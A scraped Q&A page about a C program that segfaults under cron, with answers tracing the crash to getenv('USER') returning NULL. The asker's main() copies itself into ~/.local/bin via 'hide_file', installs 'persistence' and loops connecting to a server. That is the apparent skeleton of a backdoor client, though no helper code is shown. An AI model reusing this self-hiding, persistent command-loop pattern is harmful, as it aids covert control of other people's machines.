简体   繁体   中英

Segmentation fault when running my own C program with crontab on Linux

uname -a:

Linux deepin 5.4.70-amd64-desktop #1 SMP Wed Oct 14 15:24:23 CST 2020 x86_64 GNU/Linux

I'm writing a C program that works with directories and sockets. When i run it by the command line, it works as expected, but when running by cron, it reaches segmentation fault.

This is the entry point of my program (and the relevant part, i think).

#include "../include/persistence.h"

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <libgen.h>
        
#include "../include/sockets.h"
#include "../include/footprint.h"
#include "../include/commands.h"

int
main(int argc, char *argv[]) {
    char    destination_path[2048] = { 0 };
    char    *exec_filename;
    char    *safe_exec_filename;
    char    *username;

    (void)argc;  // to prevent compiler warning about unused argc
    username = getenv("USER");
    safe_exec_filename = strdup(argv[0]);  // for safe use of basename()
    exec_filename = basename(safe_exec_filename);
    sprintf(destination_path, "/home/%s/.local/bin/", username);
    if (!file_exists(destination_path)) {
        if (create_dir(destination_path)) {
            strcat(destination_path, exec_filename);
            hide_file(argv[0], destination_path);
        }
    }
    if ((strlen(exec_filename) + strlen(destination_path)) > 2048) {
        printf("BUFFER TOO SMALL\n");
        return 1;
    }
    strcat(destination_path, exec_filename);
    printf("%s\n", destination_path);
    if (!file_exists(destination_path)) {
        hide_file(argv[0], destination_path);
    }
    if (safe_exec_filename != NULL) {
        free(safe_exec_filename);
    }
    persistence(destination_path);
    while (1) {
        int16_t server_socket = connect_to_server();

        start_communication(server_socket);
    }
    return 0;
}

Executing the binary from any (relative/absolute) path by the command line works fine but with cron, 'nothing' happens. When analysing /var/log/syslog, it shows the following:

Mar  4 15:27:01 deepin CRON[14713]: (user) CMD (/home/user/.local/bin/myprogram)
Mar  4 15:27:01 deepin kernel: [ 5934.175052] myprogram[22332]: segfault at 0 ip 00007f4fb5cea327 sp 00007ffd74362328 error 4 in libc-2.28.so[7f4fb5c6f000+148000]
Mar  4 15:27:01 deepin kernel: [ 5934.175060] Code: 0f 7f 27 f3 0f 7f 6f 10 f3 0f 7f 77 20 48 83 c6 30 48 83 c7 30 4c 8d 1d 47 f7 0d 00 49 63 0c 93 49 8d 0c 0b ff e1 66 0f ef c0 <f3> 0f 6f 0e f3 0f 6f 56 10 66 0f 74 c1 66 0f d7 d0 48 85 d2 75 6b

And my crontab -l output:

* * * * * /home/user/.local/bin/myprogram

PS: I tried @reboot but changed to * * * * * to 'debug'. When using @reboot and checking logs, the segmentation fault occurs too. Checking the /var/mail/user, it shows:

Content-Transfer-Encoding: 8bit
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/home/user>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=user>
Message-Id: <20210304184201.5A18124898@deepin>
Date: Thu,  4 Mar 2021 15:27:02 -0300 (-03)

Segmentation fault

Edit 1: I already tried to put (on the top of the main fuction) a function that creates a file, write to it and save. This function never executes. I created an another program with only a main function that writes to a file and save. Put the binary at the same folder of myprogram and crated a cron for it too and it executes normally (i can see the file generated and no segfault or other errors are show on the log).

When you run a program from your shell, it has lots of environment variables set, that may or may not be present when running from cron. USER is one of these. You should check your system's documentation, but mine has:

Several environment variables are set up automatically by the cron(8) daemon. SHELL is set to /bin/sh, and LOGNAME and HOME are set from the /etc/passwd line of the crontab's owner. HOME and SHELL may be overridden by settings in the crontab; LOGNAME may not.

(Another note: the LOGNAME variable is sometimes called USER on BSD systems... on these systems, USER will be set also.)

So USER may not be defined. If not, then getenv("USER") will return NULL, but you don't test for this, so username will be NULL and segfault when you pass it to sprintf .

You might be able to use LOGNAME instead, or skip the environment variables and find the username with something like getpwuid(getuid()) .

In any case, more error checking would be a good idea in general, to forestall more such bugs.

I think that the problem could arise from various issues:

Why do you need to connect to the server in loop?

while (1) {
        int16_t server_socket = connect_to_server();

        start_communication(server_socket);
    }
    return 0;

should perhaps be:

    int16_t server_socket = connect_to_server();
    while (1) {
        start_communication(server_socket);
    }
    return 0;

and instead of:

free(safe_exec_filename);

use:

if (safe_exec_filename == NULL) {
    dprintf(2, "Safe exec filename is NULL");
    return 1;
}
free(safe_exec_filename);

Also print safe_exec_filename with both cron and your c program and see if there is a difference, the assembly to your segfault is the following:


you char array becomes too small:

0:  0f 7f 27                movq   QWORD PTR [edi],mm4
3:  f3 0f 7f 6f 10          movdqu XMMWORD PTR [edi+0x10],xmm5
8:  f3 0f 7f 77 20          movdqu XMMWORD PTR [edi+0x20],xmm6
d:  48                      dec    eax
e:  83 c6 30                add    esi,0x30
11: 48                      dec    eax
12: 83 c7 30                add    edi,0x30
15: 4c                      dec    esp
16: 8d 1d 47 f7 0d 00       lea    ebx,ds:0xdf747
1c: 49                      dec    ecx
1d: 63 0c 93                arpl   WORD PTR [ebx+edx*4],cx
20: 49                      dec    ecx
21: 8d 0c 0b                lea    ecx,[ebx+ecx*1]
24: ff e1                   jmp    ecx
26: 66 0f ef c0             pxor   xmm0,xmm0
2a: f3 0f 6f 0e             movdqu xmm1,XMMWORD PTR [esi]
2e: f3 0f 6f 56 10          movdqu xmm2,XMMWORD PTR [esi+0x10]
33: 66 0f 74 c1             pcmpeqb xmm0,xmm1
37: 66 0f d7 d0             pmovmskb edx,xmm0
3b: 48                      dec    eax
3c: 85 d2                   test   edx,edx
3e: 75 6b                   jne    0xab

So my main concern is that it could be related to the buffer for destination path that is becoming too small because of cron using a relative path instead of an absolute one:

strcat(destination_path, exec_filename);

Try to change the buffer size:

#define SIZE 2048
char    destination_path[SIZE] = { 0 };

and add a check:

if ((strlen(exec_filename) + strlen(destination_path)) > SIZE)
{ error handling}
strcat(destination_path, exec_filename);

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM